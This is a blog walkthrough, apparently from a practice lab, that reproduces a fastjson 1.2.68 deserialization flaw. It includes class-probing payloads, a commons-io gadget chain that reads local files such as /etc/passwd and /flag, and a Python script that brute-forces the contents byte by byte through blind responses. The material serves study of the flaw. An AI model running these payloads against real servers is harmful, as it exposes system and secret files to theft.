banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

fastjson vulnerability reproduction - 1268 - readfile

06-1268-readfile#

Reference: https://github.com/lemono0/FastJsonPart

Focus on reproducing a process to understand the vulnerability exploitation flow. There are many excellent articles written by experts online, but they are not sufficient for foundational learning (especially regarding compiling Java files with IDEA, how to resolve dependency issues, etc., -__-|). Therefore, I will document my reproduction process.

Detecting version, removing parentheses error

Pasted image 20250108160156

{
  "@type": "java.lang.AutoCloseable"

Pasted image 20250108160246

The version is 1.2.68

This version restricts the use of jndi, and a common method is file read/write.

Environment dependency detection

Using Character type conversion error; when a specified class exists, a conversion error will be reported; if it does not exist, there will be no output.

Detecting if it is jdk11

{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "java.net.http.HttpClient"
		}
	}

Pasted image 20250108160715

This only indicates that it is not jdk11.

Detecting commons-io dependency

{
"x": {
  "@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.apache.commons.io.Charsets"
}}

Pasted image 20250108160900

This indicates that the commons-io dependency exists, but the version is uncertain.

Detecting version

{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "org.apache.commons.io.file.Counters"
		}
	}

Pasted image 20250108161012

org.apache.commons.io.file.Counters was introduced in commons-io2.7~2.8. No critical error output indicates that it is not version 2.7~2.8.

File reading is performed under commons-io2.0~2.8, with the poc as follows:

{
  "abc": {
    "@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
      "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
        "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///etc/passwd"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },
    "boms": [
      {
        "charsetName": "UTF-8",
        "bytes": [
          114,111,111,116
        ]
      }
    ]
  },
  "address": {
    "@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.CharSequenceReader",
    "charSequence": {
      "@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
    "start": 0,
    "end": 0
  }
}
}

The above poc attempts to read /etc/passwd, returning the following content, indicating successful reading of /etc/passwd, where 114,111,111,116 corresponds to root.

Pasted image 20250108161304

Pasted image 20250108161444

This led to a boolean blind injection. The next step is to write a script to read sensitive files and brute-force the bytes.

Using the script provided by the author for brute-forcing:

import requests
import json

url = "http://10.30.0.84/login"

asciis = [10,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126]
file_byte = []
data1 = """
{
    "abc": {
				"@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.BOMInputStream",
        "delegate": {
            "@type": "org.apache.commons.io.input.ReaderInputStream",
            "reader": {
                "@type": "jdk.nashorn.api.scripting.URLReader",
                "url": "file:///flag"
            },
            "charsetName": "UTF-8",
            "bufferSize": 1024
        },
        "boms": [
            {
                "charsetName": "UTF-8",
                "bytes": [
"""  

data2 = """
                ]
            }
        ]
    },
    "address": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.CharSequenceReader",
        "charSequence": {
            "@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
            "start": 0,
            "end": 0
        }
    }
}
"""
proxies = {
    'http': '127.0.0.1:8080',
}

header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0",
    "Content-Type": "application/json; charset=utf-8"
}


for i in range(1,30):  # Define how long to read, but do not read too long at once; it is recommended to read in multiple batches.
    for i in asciis:
        file_byte.append(str(i))
        req = requests.post(url=url,data=data1+','.join(file_byte)+data2,headers=header)
        text = req.text
        if "charSequence" not in text:
            file_byte.pop()         

print(','.join(file_byte))   
file_str = ""
for i in file_byte:
    file_str += chr(int(i))
print(file_str)
Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.